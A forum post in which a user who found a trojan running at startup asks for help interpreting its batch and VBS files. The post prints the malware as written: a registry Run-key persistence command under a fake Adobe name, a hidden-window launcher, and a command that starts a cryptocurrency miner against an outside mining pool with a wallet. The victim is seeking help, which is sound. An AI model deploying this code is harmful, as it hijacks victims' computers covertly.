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Interpreting trojan bat file

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Good Morning All,

My system was really slow one morning. Task manager showed that Internet Download Manager was running even though I never install it. I found it's location in "users/(my account)/appdata/roaming/adobe/flashplayer/purecache". It was taking quite a bit of the CPU.

A search on the net showed that it was probably some kind of malware script that was running. It started itself every time I booted up in the morning through an entry in the registry. I don't know how long I've had it on my system.

The bat file that started it was:
@echo off
%windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v AdobeFlashPlayer /d "wscript \"%appdata%\Adobe\Flash Player\PureCache\IDMan.vbs\" \"%appdata%\Adobe\Flash Player\PureCache\IDMan.bat\"" /f
start /b /normal "a" "%appdata%\Adobe\Flash Player\PureCache\IDMan.exe" -o stratum+tcp://ns1.eaglecloud.su:9327 -u LZA8F5DgmTCTbdUR1AXpnvuVVFEXbKxcNH -p x

The vbs script file in the same folder as the bat file was:
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

I have since removed all of the entries from my system, but am concerned about what may have been happening, as I don't know how long this has been on my system.

I know this is a trojan of some kind.  But could someone please interpret the bat and script files for me and what information these are sending to ns1.eaglecould.su.

Thank you

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